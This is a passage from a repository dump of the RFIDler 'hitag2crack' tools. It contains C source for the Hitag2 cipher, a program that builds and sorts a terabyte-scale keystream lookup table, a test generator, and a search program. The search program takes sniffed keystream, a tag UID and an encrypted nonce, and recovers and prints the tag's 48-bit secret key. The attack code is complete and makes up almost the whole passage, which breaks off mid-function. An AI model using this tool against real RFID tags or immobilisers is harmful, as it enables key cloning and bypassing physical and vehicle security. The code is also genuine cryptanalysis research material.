repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n\n#ifndef HITAGCRYPTO_H\n#define\tHITAGCRYPTO_H\n\n#include <stdint.h>\n\n/*\n   Our model of Hitag 2 crypto uses 2 parallel shift registers:\n   a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.\n   b. 48 bit Linear Feedback Shift Register (LFSR).\n      A transform of initial register (a) value, which is then run in parallel.\n      Enables much faster calculation of the feedback values.\n\n   API:\n   void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,\n         uint32_t initvector);\n      Initialise state from 48 bit shared (secret) reader/tag key,\n      32 bit tag serial number and 32 bit initialisation vector from reader.\n\n   uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n      update shift register state and generate N cipher bits (N should be <= 32)\n */\n\n\ntypedef struct {\n    uint64_t shiftreg; // naive shift register, required for nonlinear fn input\n    uint64_t lfsr;     // fast lfsr, used to make software faster\n} Hitag_State;\n\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);\n\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n\nunsigned int hitag2_benchtest_gen32();\nunsigned int hitag2_benchtest(uint32_t count);\nunsigned hitag2_verifytest();\n\n#endif\t/* HITAGCRYPTO_H */\n\n"
  },
  {
    "path": "hitag2crack/crack2/ht2crack2buildtable.c",
    "content": "/*\n * ht2crack2buildtable.c\n * This builds the 1.2TB table and sorts it.\n */\n\n#include \"ht2crack2utils.h\"\n\n\n// DATAMAX is the size of each bucket (bytes).  There are 65536 buckets so choose a value such that\n// DATAMAX * 65536 < RAM available.  For ex, if you want to use 12GB of RAM (for a 16GB machine\n// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608.  Round this down\n// to a power of 10; DATAMAX = 196600.\n#define DATAMAX 196600 // around 192K rounded down to a power of 10\n\n// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently.  These should\n// ideally be equal to the number of virtual cores you have available.  A quad-core machine will\n// likely have 8 virtual cores, so set them to 8.\n//\n// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with\n// the read/write demands of the multi-threaded sorting.  In this case, reduce the number of sorting\n// threads.  This will most likely only be a problem with network disks; SATA should be okay; \n// USB2/3 should keep up.\n//\n// These MUST be a power of 2 for the maths to work - you have been warned!\n// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen!\n#define NUM_BUILD_THREADS 8\n#define NUM_SORT_THREADS 8\n\n// DATASIZE is the number of bytes in an entry.  This is 10; 4 bytes of keystream (2 are in the filepath) +\n// 6 bytes of PRNG state.\n#define DATASIZE 10\n\nint debug = 0;\n\n// table entry for a bucket\nstruct table {\n    char path[32];\n    pthread_mutex_t mutex;\n    unsigned char *data;\n    unsigned char *ptr;\n};\n\n\n// actual table\nstruct table *t;\n\n// jump table 1\nuint64_t d[48];\nint nsteps;\n\n// jump table 2\nuint64_t d2[48];\nint nsteps2;\n\n// create table entry\nvoid create_table(struct table *t, int d1, int d2)\n{\n    if (!t) {\n        printf(\"create_table: t is NULL\\n\");\n        exit(1);\n    }\n\n    // create some space\n    t->data = (unsigned char *)malloc(DATAMAX);\n    if (!(t->data)) {\n        printf(\"create_table: cannot malloc data\\n\");\n        exit(1);\n    }\n\n    // set data ptr to start of data table\n    t->ptr = t->data;\n\n    // init the mutex\n    if (pthread_mutex_init(&(t->mutex), NULL)) {\n        printf(\"create_table: cannot init mutex\\n\");\n        exit(1);\n    }\n\n    // create the path\n//    sprintf(t->path, \"/Volumes/2tb/%02X/%02X.bin\", d1 & 0xff, d2 & 0xff);\n    sprintf(t->path, \"table/%02x/%02x.bin\", d1 & 0xff, d2 & 0xff);\n}\n\n\n// create all table entries\nvoid create_tables(struct table *t)\n{\n    int i, j;\n\n    if (!t) {\n        printf(\"create_tables: t is NULL\\n\");\n        exit(1);\n    }\n\n    for (i=0; i<0x100; i++) {\n        for (j=0; j<0x100; j++) {\n            create_table(t + ((i * 0x100) + j), i, j);\n        }\n    }\n}\n\n\n// free the table memory\nvoid free_tables(struct table *t)\n{\n    int i;\n    struct table *ttmp;\n\n    if (!t) {\n        printf(\"free_tables: t is NULL\\n\");\n        exit(1);\n    }\n\n    for (i=0; i<0x10000; i++) {\n        ttmp = t + i;\n        free(ttmp->data);\n    }\n}\n\n\n\n// write (partial) table to file\nvoid writetable(struct table *t1)\n{\n    int fd;\n\n    if (debug) printf(\"writetable %s\\n\", t1->path);\n\n    fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644);\n    if (fd <= 0) {\n        printf(\"writetable cannot open file %s for appending\\n\", t1->path);\n        exit(1);\n    }\n\n    if (debug) printf(\"writetable %s opened\\n\", t1->path);\n\n    if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) {\n        printf(\"writetable cannot write all of the data\\n\");\n        exit(1);\n    }\n\n    if (debug) printf(\"writetable %s written\\n\", t1->path);\n\n    close(fd);\n}\n\n\n// store value in table\nvoid store(unsigned char *data)\n{\n    unsigned char d1, d2;\n    int offset;\n    struct table *t1;\n\n    // use the first two bytes as an index\n    d1 = data[0];\n    d2 = data[1];\n    offset = (d1 * 0x100) + d2;\n\n    if (debug) printf(\"store, d1=%02X, d2=%02X, offset = %d\\n\", d1, d2, offset);\n\n    // get pointer to table entry\n    t1 = t + offset;\n\n    // wait for a lock on this entry\n    if (pthread_mutex_lock(&(t1->mutex))) {\n        printf(\"store: cannot lock mutex at offset %d\\n\", offset);\n        exit(1);\n    }\n\n    if (debug) printf(\"store, offset = %d, got lock\\n\", offset);\n\n    // store the entry\n    memcpy(t1->ptr, data+2, 10);\n\n    if (debug) printf(\"store, offset = %d, copied data\\n\", offset);\n\n    // update the ptr\n    t1->ptr += 10;\n\n    // check if table is full\n    if ((t1->ptr - t1->data) >= DATAMAX) {\n        // write the table to disk\n        writetable(t1);\n        // reset ptr\n        t1->ptr = t1->data;\n    }\n\n    if (debug) printf(\"store, offset = %d, after possible write\\n\", offset);\n\n    // release the lock\n    if (pthread_mutex_unlock(&(t1->mutex))) {\n        printf(\"store: cannot unlock mutex at offset %d\\n\", offset);\n        exit(1);\n    }\n\n    if (debug) printf(\"store, offset = %d, unlocked\\n\", offset);\n\n}\n\n// writes the ks (keystream) and s (state)\nvoid write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg)\n{\n    unsigned char buf[16];\n\n    // create buffer\n    writebuf(buf, ks1, 3);\n    writebuf(buf+3, ks2, 3);\n    writebuf(buf+6, shiftreg, 6);\n\n    // store buffer\n    store(buf);\n\n}\n\n\n// builds the di table for jumping\nvoid builddi(int steps, int table)\n{\n    uint64_t statemask;\n    int i;\n    Hitag_State mystate;\n    uint64_t *thisd = NULL;\n\n    statemask = 1;\n\n    // select jump table\n    if (table == 1) {\n        nsteps = steps;\n        thisd = d;\n    } else if (table == 2) {\n        nsteps2 = steps;\n        thisd = d2;\n    } else {\n        printf(\"builddi: invalid table num\\n\");\n        exit(1);\n    }\n\n    // build di states\n    for (i=0; i<48; i++) {\n        mystate.shiftreg = statemask;\n        buildlfsr(&mystate);\n        hitag2_nstep(&mystate, steps);\n        thisd[i] = mystate.shiftreg;\n\n        statemask = statemask << 1;\n    }\n}\n\n// jump function - quickly jumps a load of steps\nvoid jumpnsteps(Hitag_State *hstate, int table)\n{\n    uint64_t output = 0;\n    uint64_t bitmask;\n    int i;\n    uint64_t *thisd = NULL;\n\n\n    // select jump table\n    if (table == 1) {\n        thisd = d;\n    } else if (table == 2) {\n        thisd = d2;\n    } else {\n        printf(\"jumpnsteps: invalid table num\\n\");\n        exit(1);\n    }\n\n    // xor all di.si where di is a d state and si is a bit\n    // we do this by multiplying di by si:\n    // if si is 1, di.si = di; if si is 0, di.si = 0\n\n    bitmask = 1;\n    for (i=0; i<48; i++) {\n        if (hstate->shiftreg & bitmask) {\n            output = output ^ thisd[i];\n        }\n\n        bitmask = bitmask << 1;\n    }\n\n    hstate->shiftreg = output;\n    buildlfsr(hstate);\n}        \n\n\n// thread to build a part of the table\nvoid *buildtable(void *d)\n{\n    Hitag_State hstate;\n    Hitag_State hstate2;\n    unsigned long i;\n    unsigned long maxentries = 1;\n    uint32_t ks1;\n    uint32_t ks2;\n    int index = (int)(long)d;\n    int tnum = NUM_BUILD_THREADS;\n\n    /* set random state */\n    hstate.shiftreg = 0x123456789abc;\n    buildlfsr(&hstate);\n\n    /* jump to offset using jump table 2 (2048) */\n    for (i=0; i<index; i++) {\n        jumpnsteps(&hstate, 2);\n    }\n\n    /* set max entries - this is a fraction of 2^37 depending on how many threads we are running.\n       1 thread  = 2^37\n       2 threads = 2^36\n       4 threads = 2^35\n       8 threads = 2^34\n       etc\n    */\n    maxentries = maxentries << 37;\n    while (!(tnum & 0x1)) {\n        maxentries = maxentries >> 1;\n        tnum = tnum >> 1;\n    }\n\n    /* make the entries */\n    for (i=0; i<maxentries; i++) {\n\n        // copy the current state\n        hstate2.shiftreg = hstate.shiftreg;\n        hstate2.lfsr = hstate.lfsr;\n\n        // get 48 bits of keystream from hstate2\n        // this is split into 2 x 24 bit\n        ks1 = hitag2_nstep(&hstate2, 24);\n        ks2 = hitag2_nstep(&hstate2, 24);\n\n        write_ks_s(ks1, ks2, hstate.shiftreg);\n\n        // jump hstate forward 2048 * NUM_BUILD_THREADS states using di table\n        // this is because we're running NUM_BUILD_THREADS threads at once, from NUM_BUILD_THREADS\n        // different offsets that are 2048 states apart.\n        jumpnsteps(&hstate, 1);\n    }\n\n    return NULL;\n}\n\n\n// make 'table/' (unsorted) and 'sorted/' dir structures\nvoid makedirs()\n{\n    char path[32];\n    int i;\n\n    if (mkdir(\"table\", 0755)) {\n        printf(\"cannot make dir table\\n\");\n        exit(1);\n    }\n    if (mkdir(\"sorted\", 0755)) {\n        printf(\"cannot make dir sorted\\n\");\n        exit(1);\n    }\n\n    for (i=0; i<0x100; i++) {\n        sprintf(path, \"table/%02x\", i);\n        if (mkdir(path, 0755)) {\n            printf(\"cannot make dir %s\\n\", path);\n            exit(1);\n        }\n        sprintf(path, \"sorted/%02x\", i);\n        if (mkdir(path, 0755)) {\n            printf(\"cannot make dir %s\\n\", path);\n            exit(1);\n        }\n    }\n}\n\nstatic int datacmp(const void *p1, const void *p2, void *dummy)\n{\n    unsigned char *d1 = (unsigned char *)p1;\n    unsigned char *d2 = (unsigned char *)p2;\n\n    return memcmp(d1, d2, DATASIZE);\n}\n\nvoid *sorttable(void *d)\n{\n    int i, j;\n    int fdin;\n    int fdout;\n    char infile[64];\n    char outfile[64];\n    unsigned char *data = NULL;\n    struct stat filestat;\n    unsigned char *table = NULL;\n    uint64_t numentries = 0;\n    int index = (int)(long)d;\n    int space = 0x100 / NUM_SORT_THREADS;\n\n    // create table - 50MB should be enough\n    table = (unsigned char *)malloc(50UL * 1024UL * 1024UL);\n    if (!table) {\n        printf(\"sorttable: cannot malloc table\\n\");\n        exit(1);\n    }\n\n    // loop over our first byte values\n    for (i=(index * space); i<((index + 1) * space); i++) {\n        // loop over all second byte values\n        for (j=0; j<0x100; j++) {\n\n            printf(\"sorttable: processing bytes 0x%02x/0x%02x\\n\", i, j);\n\n            // open file, stat it and mmap it\n            sprintf(infile, \"table/%02x/%02x.bin\", i, j);\n\n            fdin = open(infile, O_RDONLY);\n            if (fdin <= 0) {\n                printf(\"cannot open file %s\\n\", infile);\n                exit(1);\n            }\n\n            if (fstat(fdin, &filestat)) {\n                printf(\"cannot stat file %s\\n\", infile);\n                exit(1);\n            }\n\n            data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fdin, 0);\n            if (data == MAP_FAILED) {\n                printf(\"cannot mmap file %s\\n\", infile);\n                exit(1);\n            }\n\n            // copy data into table\n            memcpy(table, data, filestat.st_size);\n\n            numentries = filestat.st_size / DATASIZE;\n\n            // unmap file and close it\n            if (munmap(data, filestat.st_size)) {\n                printf(\"cannot munmap %s\\n\", infile);\n                exit(1);\n            }\n\n            close(fdin);\n\n            // sort it\n            qsort_r(table, numentries, DATASIZE, datacmp, NULL);\n\n            // write to file\n            sprintf(outfile, \"sorted/%02x/%02x.bin\", i, j);\n            fdout = open(outfile, O_WRONLY | O_CREAT, 0644);\n            if (fdout <= 0) {\n                printf(\"cannot create outfile %s\\n\", outfile);\n                exit(1);\n            }\n            write(fdout, table, numentries * DATASIZE);\n            close(fdout);\n\n            // remove input file\n            if (unlink(infile)) {\n                printf(\"cannot remove file %s\\n\", infile);\n                exit(1);\n            }\n        }\n    }\n\n    return NULL;\n}\n\nint main(int argc, char *argv[])\n{\n    pthread_t threads[NUM_BUILD_THREADS];\n    void *status;\n    long i;\n    int ret;\n    struct table *t1;\n\n\n    // make the table of tables\n    t = (struct table *)malloc(sizeof(struct table) * 65536);\n    if (!t) {\n        printf(\"malloc failed\\n\");\n        exit(1);\n    }\n\n    // init the table\n    create_tables(t);\n\n    // create the directories\n    makedirs();\n\n    // build the jump table for incremental steps\n    builddi(2048 * NUM_BUILD_THREADS, 1);\n\n    // build the jump table for setting the offset\n    builddi(2048, 2);\n\n    // start the threads\n    for (i=0; i<NUM_BUILD_THREADS; i++) {\n        ret = pthread_create(&(threads[i]), NULL, buildtable, (void *)(i));\n        if (ret) {\n            printf(\"cannot start buildtable thread %ld\\n\", i);\n            exit(1);\n        }\n    }\n\n    if (debug) printf(\"main, started buildtable threads\\n\");\n\n    // wait for threads to finish\n    for (i=0; i<NUM_BUILD_THREADS; i++) {\n        ret = pthread_join(threads[i], &status);\n        if (ret) {\n            printf(\"cannot join buildtable thread %ld\\n\", i);\n            exit(1);\n        }\n        printf(\"buildtable thread %ld finished\\n\", i);\n    }\n\n    // write all remaining files\n    for (i=0; i<0x10000; i++) {\n        t1 = t + i;\n        if (t1->ptr > t1->data) {\n            writetable(t1);\n        }\n    }\n\n    // dump the memory\n    free_tables(t);\n    free(t);\n\n\n\n    // now for the sorting\n\n\n    // start the threads\n    for (i=0; i<NUM_SORT_THREADS; i++) {\n        ret = pthread_create(&(threads[i]), NULL, sorttable, (void *)(i));\n        if (ret) {\n            printf(\"cannot start sorttable thread %ld\\n\", i);\n            exit(1);\n        }\n    }\n\n    if (debug) printf(\"main, started sorttable threads\\n\");\n\n    // wait for threads to finish\n    for (i=0; i<NUM_SORT_THREADS; i++) {\n        ret = pthread_join(threads[i], &status);\n        if (ret) {\n            printf(\"cannot join sorttable thread %ld\\n\", i);\n            exit(1);\n        }\n        printf(\"sorttable thread %ld finished\\n\", i);\n    }\n\n    pthread_exit(NULL);\n\n    return 0;\n}\n\n\n\n\n"
  },
  {
    "path": "hitag2crack/crack2/ht2crack2gentest.c",
    "content": "/*\n * ht2crack2gentests.c\n * this uses the RFIDler hitag2 PRNG code to generate test cases to test the tables\n */\n\n#include \"ht2crack2utils.h\"\n\n\nint makerandom(char *hex, unsigned int len, int fd)\n{\n    unsigned char raw[32];\n    int i;\n\n    if (!hex) {\n        printf(\"makerandom: hex is NULL\\n\");\n        exit(1);\n    }\n\n    if (!len || (len > 32)) {\n        printf(\"makerandom: len must be between 1 and 32 inclusive\\n\");\n        exit(1);\n    }\n\n    if (read(fd, raw, len) != len) {\n        printf(\"makerandom: cannot read random bytes\\n\");\n        exit(1);\n    }\n\n    for (i=0; i<len; i++) {\n        sprintf(hex + (2 * i), \"%02X\", raw[i]);\n    }\n\n    return 1;\n}\n\n\nint main(int argc, char *argv[])\n{\n    Hitag_State hstate;\n    char key[32];\n    char uid[32];\n    char nR[32];\n    char filename[256];\n    int i, j;\n    int numtests;\n    int urandomfd;\n    FILE *fp;\n\n    if (argc < 2) {\n        printf(\"ht2crack2gentest number\\n\");\n        exit(1);\n    }\n\n    numtests = atoi(argv[1]);\n    if (numtests <= 0) {\n        printf(\"need positive number of tests\\n\");\n        exit(1);\n    }\n\n    urandomfd = open(\"/dev/urandom\", O_RDONLY);\n    if (urandomfd <= 0) {\n        printf(\"cannot open /dev/urandom\\n\");\n        exit(1);\n    }\n\n\n    for (i=0; i<numtests; i++) {\n\n        makerandom(key, 6, urandomfd);\n        makerandom(uid, 4, urandomfd);\n        makerandom(nR, 4, urandomfd);\n        sprintf(filename, \"keystream.key-%s.uid-%s.nR-%s\", key, uid, nR);\n\n        fp = fopen(filename, \"w\");\n        if (!fp) {\n            printf(\"cannot open file '%s' for writing\\n\", filename);\n            exit(1);\n        }\n\n        hstate.shiftreg = 0;\n        hstate.lfsr = 0;\n\n        hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nR)));\n\n        hitag2_nstep(&hstate, 64);\n\n        for (j=0; j<64; j++) {\n            fprintf(fp, \"%08X\\n\", hitag2_nstep(&hstate, 32));\n        }\n\n        fclose(fp);\n    }\n\n    return 0;\n\n}\n\n\n"
  },
  {
    "path": "hitag2crack/crack2/ht2crack2search.c",
    "content": "/*\n * ht2crack2search.c\n * this searches the sorted tables for the given RNG data, retrieves the matching\n * PRNG state, checks it is correct, and then rolls back the PRNG to recover the key\n */\n\n#include \"ht2crack2utils.h\"\n\n\n#define INPUTFILE \"sorted/%02x/%02x.bin\"\n#define DATASIZE 10\n\nstruct rngdata {\n    unsigned char *data;\n    int len;\n};\n\n\n\nstatic int datacmp(const void *p1, const void *p2)\n{\n    unsigned char *d1 = (unsigned char *)p1;\n    unsigned char *d2 = (unsigned char *)p2;\n\n    return memcmp(d1, d2, DATASIZE - 6);\n}\n\nint loadrngdata(struct rngdata *r, char *file)\n{\n    int fd;\n    int i, j;\n    int nibble;\n    struct stat filestat;\n    unsigned char *data;\n\n    if (!r || !file) {\n        printf(\"loadrngdata: invalid params\\n\");\n        return 0;\n    }\n\n    fd = open(file, O_RDONLY);\n\n    if (fd <= 0) {\n        printf(\"cannot open file %s\\n\", file);\n        exit(1);\n    }\n\n    if (fstat(fd, &filestat)) {\n        printf(\"cannot stat file %s\\n\", file);\n        exit(1);\n    }\n\n    if (filestat.st_size < 6) {\n        printf(\"file %s is too small\\n\", file);\n        exit(1);\n    }\n\n    data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n    if (data == MAP_FAILED) {\n        printf(\"cannot mmap file %s\\n\", file);\n        exit(1);\n    }\n\n    r->len = filestat.st_size / 2;\n//    printf(\"r->len = %d\\n\", r->len);\n\n    r->data = (unsigned char *)malloc(r->len);\n    if (!(r->data)) {\n        printf(\"cannot malloc\\n\");\n        exit(1);\n    }\n\n    j = 0;\n    nibble = 0;\n    for (i=0; (i<filestat.st_size) && (j < r->len); i++) {\n        if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) {\n            if (!nibble) {\n                r->data[j] = hex2bin(data[i]) << 4;\n                nibble = 1;\n            } else {\n                r->data[j] |= hex2bin(data[i]);\n                nibble = 0;\n                j++;\n            }\n        }\n    }\n\n    r->len = j;\n\n    munmap(data, filestat.st_size);\n    close(fd);\n\n    return 1;\n}\n\nint makecand(unsigned char *c, struct rngdata *r, int bitoffset)\n{\n    int bytenum;\n    int bitnum;\n    int i;\n\n    if (!c || !r || (bitoffset > ((r->len * 8) - 48))) {\n        printf(\"makecand: invalid params\\n\");\n        return 0;\n    }\n\n    bytenum = bitoffset / 8;\n    bitnum = bitoffset % 8;\n\n    for (i=0; i<6; i++) {\n        if (!bitnum) {\n            c[i] = r->data[bytenum + i];\n        } else {\n            c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum));\n        }\n    }\n\n    return 1;\n}\n\n\n// test the candidate against the next or previous rng data\nint testcand(unsigned char *f, unsigned char *rt, int fwd)\n{\n    Hitag_State hstate;\n    int i;\n    uint32_t ks1;\n    uint32_t ks2;\n    unsigned char buf[6];\n\n    // build the prng state at the candidate\n    hstate.shiftreg = 0;\n    for (i=0; i<6; i++) {\n        hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4];\n    }\n    buildlfsr(&hstate);\n\n    if (fwd) {\n        // roll forwards 48 bits\n        hitag2_nstep(&hstate, 48);\n    } else {\n        // roll backwards 48 bits\n        rollback(&hstate, 48);\n        buildlfsr(&hstate);\n    }\n\n    // get 48 bits of RNG from the rolled to state\n    ks1 = hitag2_nstep(&hstate, 24);\n    ks2 = hitag2_nstep(&hstate, 24);\n\n    writebuf(buf, ks1, 3);\n    writebuf(buf+3, ks2, 3);\n\n    // compare them\n    if (!memcmp(buf, rt, 6)) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\nint searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s)\n{\n    int fd;\n    struct stat filestat;\n    char file[64];\n    unsigned char *data;\n    unsigned char item[10];\n    unsigned char *found = NULL;\n\n\n    if (!c || !rt || !m || !s) {\n        printf(\"searchcand: invalid params\\n\");\n        return 0;\n    }\n\n    sprintf(file, INPUTFILE, c[0], c[1]);\n\n    fd = open(file, O_RDONLY);\n    if (fd <= 0) {\n        printf(\"cannot open table file %s\\n\", file);\n        exit(1);\n    }\n\n    if (fstat(fd, &filestat)) {\n        printf(\"cannot stat file %s\\n\", file);\n        exit(1);\n    }\n\n    data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n    if (data == MAP_FAILED) {\n        printf(\"cannot mmap file %s\\n\", file);\n        exit(1);\n    }\n\n    memcpy(item, c+2, 4);\n\n    found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp);\n\n    if (found) {\n\n        // our candidate is in the table\n        // go backwards and see if there are other matches\n        while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) {\n            found = found - DATASIZE;\n        }\n\n        // now test all matches\n        while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) {\n            if (testcand(found, rt, fwd)) {\n                memcpy(m, c, 2);\n                memcpy(m+2, found, 4);\n                memcpy(s, found+4, 6);\n\n                munmap(data, filestat.st_size);\n                close(fd);\n                return 1;\n            } \n\n            found = found + DATASIZE;\n        }\n    }\n\n    munmap(data, filestat.st_size);\n    close(fd);\n\n    return 0;\n\n}\n\nint findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset)\n{\n    int i;\n    int bitlen;\n    unsigned char cand[6];\n    unsigned char rngtest[6];\n    int fwd;\n\n    if (!r || !outmatch || !outstate || !bitoffset) {\n        printf(\"findmatch: invalid params\\n\");\n        return 0;\n    }\n\n    bitlen = r->len * 8;\n\n    for (i=0; i<=bitlen - 48; i++) {\n        // print progress\n        if ((i % 100) == 0) {\n            printf(\"searching on bit %d\\n\", i);\n        }\n\n        if (!makecand(cand, r, i)) {\n            printf(\"cannot makecand, %d\\n\", i);\n            return 0;\n        }\n//        printf(\"cand: %02x %02x %02x %02x %02x %02x : \", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]);\n//        printbin(cand);\n\n        /* make following or preceding RNG test data to confirm match */\n        if (i < (bitlen - 96)) {\n            if (!makecand(rngtest, r, i + 48)) {\n                printf(\"cannot makecand rngtest %d + 48\\n\", i);\n                return 0;\n            }\n            fwd = 1;\n        } else {\n            if (!makecand(rngtest, r, i - 48)) {\n                printf(\"cannot makecand rngtest %d - 48\\n\", i);\n                return 0;\n            }\n            fwd = 0;\n        }\n\n        if (searchcand(cand, rngtest, fwd, outmatch, outstate)) {\n            *bitoffset = i;\n            return 1;\n        }\n    }\n\n    return 0;\n}\n\n\n\n\nvoid rollbackrng(Hitag_State *hstate, unsigned char *s, int offset)\n{\n    int i;\n\n    if (!s) {\n        printf(\"rollbackrng: invalid params\\n\");\n        return;\n    }\n\n    // build prng at recovered offset\n    hstate->shiftreg = 0;\n    for (i=0; i<6; i++) {\n        hstate->shiftreg = (hstate->shiftreg << 8) | s[i];\n    }\n\n    printf(\"recovered prng state at offset %d:\\n\", offset);\n    printstate(hstate);\n\n    // rollback to state after auth\n    rollback(hstate, offset);\n\n    // rollback through auth (aR, p3)\n    rollback(hstate, 64);\n\n    printf(\"prng state after initialisation:\\n\");\n    printstate(hstate);\n\n\n}\n\nuint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr)\n{\n    uint64_t key;\n    uint64_t keyupper;\n    uint32_t uid;\n    uint32_t uidtmp;\n    uint32_t nRenc;\n    uint32_t nR;\n    uint32_t nRxork;\n    uint32_t b = 0;\n    int i;\n\n    // key lower 16 bits are lower 16 bits of prng state\n    key = hstate->shiftreg & 0xffff;\n    nRxork = (hstate->shiftreg >> 16) & 0xffffffff;\n    uid = rev32(hexreversetoulong(uidstr));\n    nRenc = rev32(hexreversetoulong(nRstr));\n\n    uidtmp = uid;\n    // rollback and extract bits b\n    for (i=0; i<32; i++) {\n        hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1);\n        uidtmp = uidtmp << 1;\n        b = (b << 1) | fnf(hstate->shiftreg);\n    }\n\n    printf(\"end state:\\n\");\n    printstate(hstate);\n    printf(\"b:\\t\\t\");\n    printbin2(b, 32);\n    printf(\"\\n\");\n    printf(\"nRenc:\\t\\t\");\n    printbin2(nRenc, 32);\n    printf(\"\\n\");\n\n    nR = nRenc ^ b;\n\n    printf(\"nR:\\t\\t\");\n    printbin2(nR, 32);\n    printf(\"\\n\");\n\n    keyupper = nRxork ^ nR;\n    key = key | (keyupper << 16);\n    printf(\"key:\\t\\t\");\n    printbin2(key, 48);\n    printf(\"\\n\");\n\n    return key;\n}\n\n\nint main(int argc, char *argv[])\n{\n    Hitag_State hstate;\n    struct rngdata rng;\n    int bitoffset = 0;\n    unsigned char rngmatch[6];\n    unsigned char rngstate[6];\n    char *uidstr;\n    char *nRstr;\n    uint64_t keyrev;\n    uint64_t key;\n    int i;\n\n    if (argc < 4) {\n        printf(\"ht2crack2search rngdatafile UID nR\\n\");\n        exit(1);\n    }\n\n    if (!loadrngdata(&rng, argv[1])) {\n        printf(\"loadrngdata failed\\n\");\n        exit(1);\n    }\n\n    if (!strncmp(argv[2], \"0x\", 2)) {\n        uidstr = argv[2] + 2;\n    } else {\n        uidstr = argv[2];\n    }\n\n    if (!strncmp(argv[3], \"0x\", 2)) {\n        nRstr = argv[3] + 2;\n    } else {\n        nRstr = argv[3];\n    }\n\n\n    if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) {\n        printf(\"couldn't find a match\\n\");\n        exit(1);\n    }\n\n    printf(\"found match:\\n\");\n    printf(\"rngmatch = %02x %02x %02x %02x %02x %02x\\n\", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]);\n    printf(\"rngstate = %02x %02x %02x %02x %02x %02x\\n\", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]);\n    printf(\"bitoffset = %d\\n\", bitoffset);\n\n    rollbackrng(&hstate, rngstate, bitoffset);\n\n    keyrev = recoverkey(&hstate, uidstr, nRstr);\n    key = rev64(keyrev);\n\n    printf(\"keyrev:\\t\\t\");\n    printbin2(key, 48);\n    printf(\"\\n\");\n\n    printf(\"KEY:\\t\\t\");\n    for (i=0; i<6; i++) {\n        printf(\"%02X\", (int)(key & 0xff));\n        key = key >> 8;\n    }\n    printf(\"\\n\");\n\n    return 0;\n\n}\n\n\n"
  },
  {
    "path": "hitag2crack/crack2/ht2crack2utils.c",
    "content": "#include \"ht2crack2utils.h\"\n\n// writes a value into a buffer as a series of bytes\nvoid writebuf(unsigned char *buf, uint64_t val, unsigned int len)\n{\n    int i;\n    char c;\n\n    for (i=len-1; i>=0; i--)\n    {\n        c = val & 0xff;\n        buf[i] = c;\n        val = val >> 8;\n    }\n\n}\n\n\n/* simple hexdump for testing purposes */\nvoid shexdump(unsigned char *data, int data_len)\n{\n    int i;\n\n    if (!data || (data_len <= 0)) {\n        printf(\"shexdump: invalid parameters\\n\");\n        return;\n    }\n    \n    printf(\"Hexdump from %p:\\n\", data);\n\n    for (i=0; i<data_len; i++) {\n        if ((i % HEX_PER_ROW) == 0) {\n            printf(\"\\n0x%04x: \", i);\n        }\n        printf(\"%02x \", data[i]);\n    }\n    printf(\"\\n\\n\");\n}\n\n\n\nvoid printbin(unsigned char *c)\n{\n    int i, j;\n    unsigned char x;\n\n    if (!c) {\n        printf(\"printbin: invalid params\\n\");\n        return;\n    }\n\n    for (i=0; i<6; i++) {\n        x = c[i];\n        for (j=0; j<8; j++) {\n            printf(\"%d\", (x & 0x80) >> 7);\n            x = x << 1;\n        }\n    }\n    printf(\"\\n\");\n}\n\n\nvoid printbin2(uint64_t val, unsigned int size)\n{\n    int i;\n    uint64_t mask = 1;\n\n    mask = mask << (size - 1);\n\n    for (i=0; i<size; i++) {\n        if (val & mask) {\n            printf(\"1\");\n        } else {\n            